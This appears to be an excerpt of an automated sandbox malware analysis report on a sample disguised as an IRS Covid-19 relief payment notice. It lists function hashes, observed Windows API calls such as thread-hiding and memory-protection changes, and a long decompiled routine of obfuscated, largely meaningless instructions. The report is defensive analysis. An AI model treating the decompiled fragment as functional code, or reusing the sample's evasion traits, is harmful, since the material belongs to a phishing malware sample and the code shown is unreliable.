Opcode ID: fc6bc55d26873dd29e6ffa4a2025ac39d5c3776f22cddb64ae41f6be35fa1a36
Instruction ID: 9f7b995eaa6e7a21f144bf327f13a8e36014a59557d110704b33bda7b818e15b
Opcode Fuzzy Hash: fc6bc55d26873dd29e6ffa4a2025ac39d5c3776f22cddb64ae41f6be35fa1a36
Instruction Fuzzy Hash: 8CE0E5341042449FEB12EE78C8147897BB2BB67360F14468EC4A88B2E1CA3045C5CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02416BCD, Relevance: 1.5, APIs: 1, Instructions: 23libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 695ca91f11db38ca68fc74eceb6e4049d2cd51d698eb5a782a4921b7cb76614a
Instruction ID: 266c2bf7929bd87ca733a79d72497cbed53fba36aefd9a1a718da3e035124fad
Opcode Fuzzy Hash: 695ca91f11db38ca68fc74eceb6e4049d2cd51d698eb5a782a4921b7cb76614a
Instruction Fuzzy Hash: 25E01A256052458FCB096A6144240DEBB67DAE561279684AFD8464B288EAB2C441CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 0241473D, Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,024146DA,024147A4), ref: 0241476F

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 84cd68b7dd58e2650af2695358a9f3536fc611b0083b071af03cbdb81c7de853
Instruction ID: b46601368b409a1cfbd7091a823298d6b12632261ec1d93834ae149f90a0258b
Opcode Fuzzy Hash: 84cd68b7dd58e2650af2695358a9f3536fc611b0083b071af03cbdb81c7de853
Instruction Fuzzy Hash: 21E09E30790744AEE73C9A614C62FDE662797E0B42FA4846DF6462E2C899E32510C7D8

Uniqueness

Uniqueness Score: -1.00%

Function 0241419E, Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004,00000000,00000000,00000000), ref: 024141CC

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: a0e051c879e3194b600e3a24abb7a9fffb40d68c298ed4d1ac1f48c03e9941c5
Instruction ID: ccb4a927cb2a263c3d3253fe2ffc344a2b279b240e3b9291b78b4e3dfaedc0bd
Opcode Fuzzy Hash: a0e051c879e3194b600e3a24abb7a9fffb40d68c298ed4d1ac1f48c03e9941c5
Instruction Fuzzy Hash: F6D0A7101406468EC70C7F2554202DFB723E7E5753B904655C06B0F3D8EBE32410C3C4

Uniqueness

Uniqueness Score: -1.00%

Function 02414732, Relevance: 1.5, APIs: 1, Instructions: 12fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,024146DA,024147A4), ref: 0241476F

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: dc365c2cf2c3439e2e56cf94ea4be4c93f52853c7c4a95c53ce918e4343f2b72
Instruction ID: 729c61c9aa615da8e4ca980203a74cc36693c79e95126c07c06ef1b8daf739d6
Opcode Fuzzy Hash: dc365c2cf2c3439e2e56cf94ea4be4c93f52853c7c4a95c53ce918e4343f2b72
Instruction Fuzzy Hash: 6BC04C70794304B6F93496109D56F9561255B91F00F614509B7553D0C445F27A50C519

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0241838A, Relevance: 1.6, Strings: 1, Instructions: 338COMMON

Download Yara Rule

Strings

G65, xrefs: 02418956

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID: G65
API String ID: 3389902171-2166738789
Opcode ID: d37fc49afeb303d58ce8e40ffaa9046c72b0e57e59fea066048790d509b3776b
Instruction ID: a39a48f307577979343e1257c2f897274da1fdfb2328ddfb1f737d02c9c55cef
Opcode Fuzzy Hash: d37fc49afeb303d58ce8e40ffaa9046c72b0e57e59fea066048790d509b3776b
Instruction Fuzzy Hash: 97B10770A047418FFF25DA6885D4766B7929F52360F9482ABD9A68F3DAD37084C2C713

Uniqueness

Uniqueness Score: -1.00%

Function 02413017, Relevance: 1.4, Strings: 1, Instructions: 145COMMON

Download Yara Rule

Strings

VI, xrefs: 0241312C

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID: VI
API String ID: 0-1791430721
Opcode ID: 915728296e3ff915a4317042432c1e60849107654f50420b389b864c096b5ea6
Instruction ID: e696028d3786fbbf35826748d819de558f940515066fe01e6022cc5461eb49c1
Opcode Fuzzy Hash: 915728296e3ff915a4317042432c1e60849107654f50420b389b864c096b5ea6
Instruction Fuzzy Hash: E6416A30744305EFEB299E14D988BE97BD2AF09390F51419BEC868B1D5D3B4C8C6CA12

Uniqueness

Uniqueness Score: -1.00%

Function 02413096, Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

VI, xrefs: 0241312C

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID: VI
API String ID: 0-1791430721
Opcode ID: 501285f1281703167bea86c038e4cb35bf17d2b94b2b33282887edec2243a958
Instruction ID: 97fac73947c875b66987acbc8b119dc4d0ac38639d081548704931dfaaac6baa
Opcode Fuzzy Hash: 501285f1281703167bea86c038e4cb35bf17d2b94b2b33282887edec2243a958
Instruction Fuzzy Hash: FA312230744388DFEB259F10D996BE93BA2AF05790F55409BED865F1D2C7A088C5CA52

Uniqueness

Uniqueness Score: -1.00%

Function 02413020, Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

VI, xrefs: 0241312C

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID: VI
API String ID: 0-1791430721
Opcode ID: 13c86ac42ef54606adef084036b84bd6187034c4bb1ea2bdb9ae28b7dd47a026
Instruction ID: 9bfe1046cc788af5c667244ac590b3a10d0c7cda0d7053cd5ccc323027d4a73c
Opcode Fuzzy Hash: 13c86ac42ef54606adef084036b84bd6187034c4bb1ea2bdb9ae28b7dd47a026
Instruction Fuzzy Hash: CE313430244304DFEB289F10D995BEA3BA2AF48B90F55409BED8B5F2D6D7F188C1CA41

Uniqueness

Uniqueness Score: -1.00%

Function 024130AE, Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

VI, xrefs: 0241312C

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID: VI
API String ID: 0-1791430721
Opcode ID: 53519fd5f18284b1352c3d7ecc1613ec2caa2d7be074b11a673b7ff175f9bf9b
Instruction ID: 890e0e3d1e0b33da2db2d32f7ad9c6b9939d9ac2c08cc3d10d5f3e6be5b12b79
Opcode Fuzzy Hash: 53519fd5f18284b1352c3d7ecc1613ec2caa2d7be074b11a673b7ff175f9bf9b
Instruction Fuzzy Hash: E611D330384344EFEB259F10D99AF993BA2AF04B50F55419BED465F1D2C7B188C5C912

Uniqueness

Uniqueness Score: -1.00%

Function 024136DF, Relevance: .3, Instructions: 311nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 02416A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadThread
String ID:
API String ID: 543350213-0
Opcode ID: 8cbe6e67164730a1e7b002761fe30a443d996c3d621dc6fa3e4d55d90a3f9312
Instruction ID: 29da0ad01bfc7c669379a09374430f0a049369286b1a4eeec7141d68343d5dee
Opcode Fuzzy Hash: 8cbe6e67164730a1e7b002761fe30a443d996c3d621dc6fa3e4d55d90a3f9312
Instruction Fuzzy Hash: 93913771740206AEEF306E14CD51BEA3F62EF513A0F91812BFD85672D4D3B988C6CA46

Uniqueness

Uniqueness Score: -1.00%

Function 0040187B, Relevance: .2, Instructions: 233
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E0040187B() {
				signed char _t38;
				signed short _t39;
				signed char _t40;
				signed int _t41;
				signed int _t42;
				signed int _t46;
				signed int _t47;
				signed int _t48;
				signed int _t50;
				signed int _t51;
				signed int _t52;
				signed int _t53;
				signed char _t54;
				signed char _t55;
				intOrPtr* _t58;
				signed int _t60;
				signed int _t62;
				signed char _t63;
				intOrPtr* _t64;
				signed int _t65;
				void* _t67;
				signed int _t68;
				signed int _t69;
				signed char _t71;
				intOrPtr* _t72;
				signed int* _t73;
				signed int _t74;
				void* _t77;
				void* _t105;

				_t39 = _t38 & 0x00000008;
				 *((intOrPtr*)(_t67 + 0x6f)) =  *((intOrPtr*)(_t67 + 0x6f)) + _t39;
				asm("bound ebp, [edi+ebp*2+0x61]");
				_t40 = _t39 ^ 0x00003500;
				_t68 = _t67 - 1;
				_push(cs);
				 *_t40 =  *_t40 + _t40;
				if( *_t40 == 0) {
					 *_t40 =  *_t40 + _t40;
					asm("sbb byte [eax+eax], 0x0");
					 *_t71 =  *_t71 | _t71;
					 *_t40 =  *_t40 + _t40;
					_t77 = _t77 + 1;
					_t73[0] = _t73[0] + _t40;
				}
				 *_t69 =  *_t69 + 1;
				asm("sbb al, [eax]");
				 *_t40 =  *_t40 + _t40;
				 *_t73 =  *_t73 + _t40;
				_t5 = _t69 + 0x6d + _t74 * 2;
				 *_t5 =  *((intOrPtr*)(_t69 + 0x6d + _t74 * 2)) + _t71;
				if( *_t5 >= 0) {
					 *_t68 =  *_t68 + _t69;
					_pop(es);
					asm("hlt");
					_t63 = _t40;
					 *_t63 =  *_t63 + _t69;
					asm("cli");
					_t64 = _t63 + 0x3ff0000;
					_push(_t68);
					 *_t64 =  *_t64 + _t64;
					 *_t71 =  *_t71 + _t64;
					_t65 = _t64 + 0x74614400;
					asm("popad");
					 *_t65 =  *_t65 ^ _t65;
					_t72 = _t72 +  *((intOrPtr*)(_t72 + 8));
					asm("out dx, eax");
					 *_t71 =  *_t71 + _t71;
					_t40 = _t65 & 0xce071002;
					_t69 = _t69 + 1;
					 *_t68 =  *_t68 + _t40;
					asm("arpl [eax], ax");
					 *[gs:ebx] =  *[gs:ebx] + _t71;
				}
				 *_t68 =  *_t68 + _t71;
				 *_t40 =  *_t40 & _t40;
				_t41 = _t40 ^  *_t40;
				 *_t41 =  *_t41 ^ _t41;
				 *_t41 =  *_t41 ^ _t41;
				 *_t41 =  *_t41 ^ _t41;
				asm("adc eax, [eax]");
				 *_t73 =  *_t73 + _t71;
				 *_t72 =  *_t72 + _t71;
				 *_t41 =  *_t41 + _t68;
				 *_t41 =  *_t41 + _t41;
				asm("sbb [ecx], ecx");
				_t12 = _t71 + 0x65;
				 *_t12 =  *((intOrPtr*)(_t71 + 0x65)) + _t41;
				asm("fs insb");
				asm("popad");
				asm("insd");
				if( *_t12 >= 0) {
					 *_t68 =  *_t68 + _t68;
					 *_t41 =  *_t41 + _t41;
					_t60 = _t41 & 0x2d022c01;
					_t68 = _t68 + _t68;
					_push(es);
					_t73[0x1c] = _t73[0x1c] + _t60;
					asm("popad");
					asm("insd");
					 *[gs:eax] =  *[gs:eax] ^ _t60;
					_t62 = _t60 +  *_t69 | 0x49545300;
					_t71 = _t71 + 1;
					_t69 = _t69 - 1;
					_t74 = _t74 +  *0x3000000 + 2;
					_push(_t68);
					 *0x5a405c2 =  *0x5a405c2 + _t62;
					asm("lahf");
					es = es;
					 *_t71 =  *_t71 | _t71;
					_t41 = _t62 +  *_t62;
				}
				 *_t68 =  *_t68 + 1;
				 *_t41 =  *_t41 - _t41;
				 *_t41 =  *_t41 + _t41;
				_t42 = _t41 + 8;
				 *((intOrPtr*)(_t68 + 0x6f)) =  *((intOrPtr*)(_t68 + 0x6f)) + _t42;
				asm("insd");
				asm("insd");
				asm("popad");
				asm("outsb");
				 *[fs:eax] =  *[fs:eax] ^ _t42;
				_push(es);
				 *((intOrPtr*)(_t71 + 0x65)) =  *((intOrPtr*)(_t71 + 0x65)) + _t71;
				 *((intOrPtr*)(_t72 + 0x1101ef06)) =  *((intOrPtr*)(_t72 + 0x1101ef06)) + _t68;
				 *_t68 =  *_t68 + 1;
				_t46 = (_t42 + 0x00000001 +  *((intOrPtr*)(_t42 + 1)) & 0x05000000) + 0x78655400;
				if(_t46 == 0) {
					L11:
					_t47 = _t46 |  *_t46;
					asm("outsd");
					if(_t47 == 0) {
						goto L17;
					}
					asm("adc al, [eax]");
					_t68 = _t68 + _t68;
					 *_t47 =  *_t47 + _t47;
					 *_t72 =  *_t72 + _t47;
					_t51 = 0x6e694c00 + _t47;
					 *[gs:eax] =  *[gs:eax] ^ _t51;
					_pop(ss);
					_t52 = _t51;
					goto L13;
				} else {
					 *_t71 =  *_t71 + _t46;
					_t55 = _t46 + 0x38 + _t69;
					_pop(es);
					asm("daa");
					_push(es);
					asm("out dx, eax");
					 *_t68 =  *_t68 + _t69;
					_push(es);
					_t22 = _t69 + 0x61;
					 *_t22 =  *((intOrPtr*)(_t69 + 0x61)) + _t55;
					if( *_t22 < 0) {
						L14:
						 *_t55 =  *_t55 + _t55;
						_t47 = _t55 + 0x33;
						 *_t47 =  *_t47 | _t47;
						 *0x782 =  *0x782 + _t47;
						_push(es);
						if( *0x782 < 0) {
							 *_t47 =  *_t47 + _t47;
							_t105 =  *_t47;
						}
						 *_t68 =  *_t68 + 1;
						 *_t47 =  *_t47 - _t47;
						 *_t47 =  *_t47 + _t47;
						 *_t73 =  *_t73 | _t47;
						 *((intOrPtr*)(_t69 + 0x62)) =  *((intOrPtr*)(_t69 + 0x62)) + _t69;
						asm("gs insb");
						 *_t47 =  *_t47 ^ _t47;
						 *_t69 =  *_t69 + _t47;
						 *_t47 =  *_t47 | _t47;
						asm("insd");
						L17:
						asm("popad");
						if(_t105 < 0) {
							L20:
							 *_t47 =  *_t47 + _t47;
							asm("lock adc al, 0x40");
							 *((intOrPtr*)(_t47 + _t47)) =  *((intOrPtr*)(_t47 + _t47)) + _t69;
							 *_t47 =  *_t47 + _t71;
							 *_t47 =  *_t47 + _t47;
							_t69 = _t69 >> 9;
							L19:
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							_t48 = _t47;
							 *_t48 =  *_t48 + _t48;
							 *_t48 =  *_t48 + _t48;
							 *_t48 =  *_t48 + _t48;
							 *_t48 =  *_t48 + _t48;
							 *_t48 =  *_t48 + _t48;
							 *_t48 =  *_t48 + _t48;
							 *_t48 =  *_t48 + _t48;
							 *_t48 =  *_t48 + _t48;
							 *_t48 =  *_t48 + _t48;
							 *_t48 =  *_t48 + _t48;
							 *_t72 =  *_t72 + _t71;
							_t47 = _t48;
							goto L20;
						}
						asm("popad");
						asm("outsb");
						asm("fs outsd");
						 *0x163072d =  *0x163072d + _t47;
						_t72 = 0x1201f304;
						 *_t71 =  *_t71 + 1;
						_t50 = _t47;
						 *_t50 =  *_t50 + _t50;
						 *((intOrPtr*)(_t68 + _t74 + 0x500040)) =  *((intOrPtr*)(_t68 + _t74 + 0x500040)) + _t68;
						 *_t50 =  *_t50 + _t50;
						 *0x3aded508 = _t50;
						ds = es;
						_pop(ds);
						_t47 = _t69 |  *[ss:edx-0x6c];
						_t69 = _t50;
						asm("les ebp, [esi]");
						asm("retf");
						goto L19;
					}
					 *_t68 =  *_t68 + 1;
					_t58 = (_t55 ^ 0x00011200) -  *(_t55 ^ 0x00011200);
					 *_t58 =  *_t58 + _t58;
					_push(es);
					_t52 = _t58 + 0x78655400;
					if(_t52 == 0) {
						L13:
						 *((intOrPtr*)(_t52 + _t68 * 4)) =  *((intOrPtr*)(_t52 + _t68 * 4)) + _t52;
						_pop(es);
						 *_t52 =  *_t52 + _t52;
						_t53 = _t52 + 0x281;
						asm("repne pop es");
						 *_t53 =  *_t53 + _t53;
						 *_t68 =  *_t68 + 1;
						_t54 = _t53 &  *_t53;
						 *_t54 =  *_t54 + _t54;
						 *0x6e694c00 =  *0x6e694c00 | _t54;
						_t55 = _t54 ^  *[gs:eax];
						ss = es;
						_t72 = _t72 +  *_t69;
						goto L14;
					}
					 *_t71 =  *_t71 + _t52;
					_t46 = _t52 + 0xb9 +  *_t71;
					_push(es);
					_t72 = 0xb01ef04;
					goto L11;
				}
			}

0x0040187b
0x0040187d
0x00401880
0x00401884
0x00401888
0x00401889
0x0040188a
0x0040188c
0x0040188e
0x00401890
0x00401894
0x00401896
0x00401898
0x00401899
0x00401899
0x0040189c
0x0040189e
0x004018a0
0x004018a2
0x004018a4
0x004018a4
0x004018a8
0x004018ab
0x004018ad
0x004018ae
0x004018af
0x004018b1
0x004018b3
0x004018b4
0x004018b9
0x004018ba
0x004018bc
0x004018be
0x004018c3
0x004018c4
0x004018cb
0x004018ce
0x004018cf
0x004018d1
0x004018d3
0x004018d4
0x004018d7
0x004018d9
0x004018d9
0x004018dc
0x004018df
0x004018e1
0x004018e3
0x004018e5
0x004018e7
0x004018eb
0x004018ed
0x004018ef
0x004018f1
0x004018f3
0x004018f5
0x004018f7
0x004018f7
0x004018fa
0x004018fc
0x004018fd
0x004018fe
0x00401901
0x00401903
0x00401905
0x0040190a
0x00401912
0x00401913
0x00401916
0x00401917
0x00401918
0x0040191d
0x00401924
0x00401925
0x0040192a
0x0040192b
0x0040192c
0x00401932
0x00401934
0x00401935
0x00401937
0x00401937
0x00401939
0x0040193b
0x0040193d
0x0040193f
0x00401941
0x00401944
0x00401945
0x00401946
0x00401947
0x00401948
0x0040194d
0x0040194e
0x0040195a
0x00401962
0x00401969
0x0040196e
0x004019a2
0x004019a2
0x004019a5
0x004019a6
0x00000000
0x00000000
0x004019b0
0x004019b2
0x004019b6
0x004019b8
0x004019ba
0x004019bf
0x004019c2
0x004019c5
0x00000000
0x00401970
0x00401970
0x00401974
0x00401976
0x00401977
0x00401978
0x00401979
0x0040197a
0x0040197c
0x0040197d
0x0040197d
0x00401980
0x004019e8
0x004019ea
0x004019ec
0x004019ee
0x004019f0
0x004019f6
0x004019f7
0x004019f9
0x004019f9
0x004019f9
0x004019fb
0x004019fd
0x004019ff
0x00401a01
0x00401a03
0x00401a07
0x00401a09
0x00401a0b
0x00401a0d
0x00401a0f
0x00401a10
0x00401a10
0x00401a11
0x00401a76
0x00401a76
0x00401a78
0x00401a7b
0x00401a7f
0x00401a82
0x00401a84
0x00401a44
0x00401a44
0x00401a46
0x00401a48
0x00401a4a
0x00401a4c
0x00401a4e
0x00401a50
0x00401a52
0x00401a54
0x00401a56
0x00401a59
0x00401a5b
0x00401a5d
0x00401a5f
0x00401a61
0x00401a63
0x00401a65
0x00401a67
0x00401a69
0x00401a6b
0x00401a6d
0x00401a6f
0x00401a71
0x00000000
0x00401a71
0x00401a13
0x00401a14
0x00401a15
0x00401a17
0x00401a1d
0x00401a24
0x00401a26
0x00401a29
0x00401a2b
0x00401a32
0x00401a34
0x00401a3d
0x00401a3e
0x00401a3f
0x00401a3f
0x00401a40
0x00401a43
0x00000000
0x00401a43
0x00401988
0x0040198a
0x0040198c
0x0040198e
0x0040198f
0x00401994
0x004019c7
0x004019c7
0x004019ca
0x004019cb
0x004019cd
0x004019d3
0x004019d5
0x004019d7
0x004019d9
0x004019db
0x004019dd
0x004019e3
0x004019e6
0x004019e7
0x00000000
0x004019e7
0x00401996
0x0040199a
0x0040199c
0x0040199d
0x00000000
0x0040199d

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d859dd304c0db15024d25e6dafbf7660c409572f5f225fdb380048878aca6e7
Instruction ID: 691ebfbe3414a91ae7fb246fcbb1b3d9ee8400d38497b6f72fd31de019305877
Opcode Fuzzy Hash: 8d859dd304c0db15024d25e6dafbf7660c409572f5f225fdb380048878aca6e7
Instruction Fuzzy Hash: 197157B644E3C18FD7038B709CA62927FB0AE1321471E45DBC881DF1A3E26C595ADB66

Uniqueness

Uniqueness Score: -1.00%

Function 0241841F, Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6243fc41afaf2f252464301322b5966fbb37957a6e061b7ad69b0c58341da318
Instruction ID: d15663433dad53650edd8bf243921b1724ca2782e0e8b77ae4afd95e982b9e35
Opcode Fuzzy Hash: 6243fc41afaf2f252464301322b5966fbb37957a6e061b7ad69b0c58341da318
Instruction Fuzzy Hash: 7E710770A047428FEB24DF68C4947667B92DF62360F9482ABD9A68F396D371C4C2C752

Uniqueness

Uniqueness Score: -1.00%

Function 024183B9, Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: 1e8ee624d62923819342ea1575a88676085c8762801e215804ccf0d1bcd944b5
Instruction ID: 3192dd27cc7da6fd3cf24830eadeda7b84b57517c177cfbb43ba611e5e29ee38
Opcode Fuzzy Hash: 1e8ee624d62923819342ea1575a88676085c8762801e215804ccf0d1bcd944b5
Instruction Fuzzy Hash: 9071F970A047428FEB24DF7484907667B93DF62360F9582AFD9A68F396D37184C2C752

Uniqueness

Uniqueness Score: -1.00%

Function 02418402, Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: 6dc2f2dd03f60d20c94e42f8811d561ffb4ca02b7f08c0fcf56dda10b73222a6
Instruction ID: 4bbb436726716e0eb7e0ccbd81faa48a31cdf7748f13322893ec3a6cb173a147
Opcode Fuzzy Hash: 6dc2f2dd03f60d20c94e42f8811d561ffb4ca02b7f08c0fcf56dda10b73222a6
Instruction Fuzzy Hash: D0610770A047428FEB24DF7888907567B92DF53360F9582AFD9A68F396D37084C2C752

Uniqueness

Uniqueness Score: -1.00%

Function 0241845E, Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 0000c7d61b99f7139943cd503a0e1de5a5a73842061d4b5a7d728c741041d341
Instruction ID: 69f0ea5f5aa191663881835ff8ad92e05e3a1c996ab5cad54fc51490ceb2b9c2
Opcode Fuzzy Hash: 0000c7d61b99f7139943cd503a0e1de5a5a73842061d4b5a7d728c741041d341
Instruction Fuzzy Hash: E1611B70A047428EEB259F7484947567B93DF63360F94C2ABC5A68F3DAD37184C2C752

Uniqueness

Uniqueness Score: -1.00%

Function 02412D1A, Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bb7bd25e48bfccef53ba43a1d0e1aa51aaaa52681ac86f49c021e0d29321d22
Instruction ID: ef6c14962c878da66e07aa7ae13b173108f3c3eb5c9aff84b99131bb213cded9
Opcode Fuzzy Hash: 0bb7bd25e48bfccef53ba43a1d0e1aa51aaaa52681ac86f49c021e0d29321d22
Instruction Fuzzy Hash: 11312A71744222AFD714EA28CC51BEA73A6BF01360F18422BEC9BD3791DB55D88ACB50

Uniqueness

Uniqueness Score: -1.00%

Function 02417632, Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72e737f95ee03f5ebae14aaa59f339b76b9d94f01401fcdf91850fbeff3f2433
Instruction ID: c5f65a185d43cd32ff6dd523538e1c2d8d1109cafd002644877c6b36194a84b9
Opcode Fuzzy Hash: 72e737f95ee03f5ebae14aaa59f339b76b9d94f01401fcdf91850fbeff3f2433
Instruction Fuzzy Hash: 14F01C79311601DFC725DA1CC5E4F9AF3A2AF65BB0F42446BDC4187751D720D8D2CA26

Uniqueness

Uniqueness Score: -1.00%

Function 02416924, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7910b2825cf919a27a6ed1e7d9df18a14b6da5f2faeb8a33c05e9dd942e877b5
Instruction ID: e9c06cc5a1d89d04aa19286dee47262936b4a0bfa4da850c95404469dab6e1df
Opcode Fuzzy Hash: 7910b2825cf919a27a6ed1e7d9df18a14b6da5f2faeb8a33c05e9dd942e877b5
Instruction Fuzzy Hash: DDC092712A0641CFCEAACA09C2A0F9073BDBB14610F830593E8428FB1DC268E882CE05

Uniqueness

Uniqueness Score: -1.00%

Function 024141E9, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0ec8044d55284a10f5932728e6c4a76dbf9d83842d798d8e448099b51cb11e3
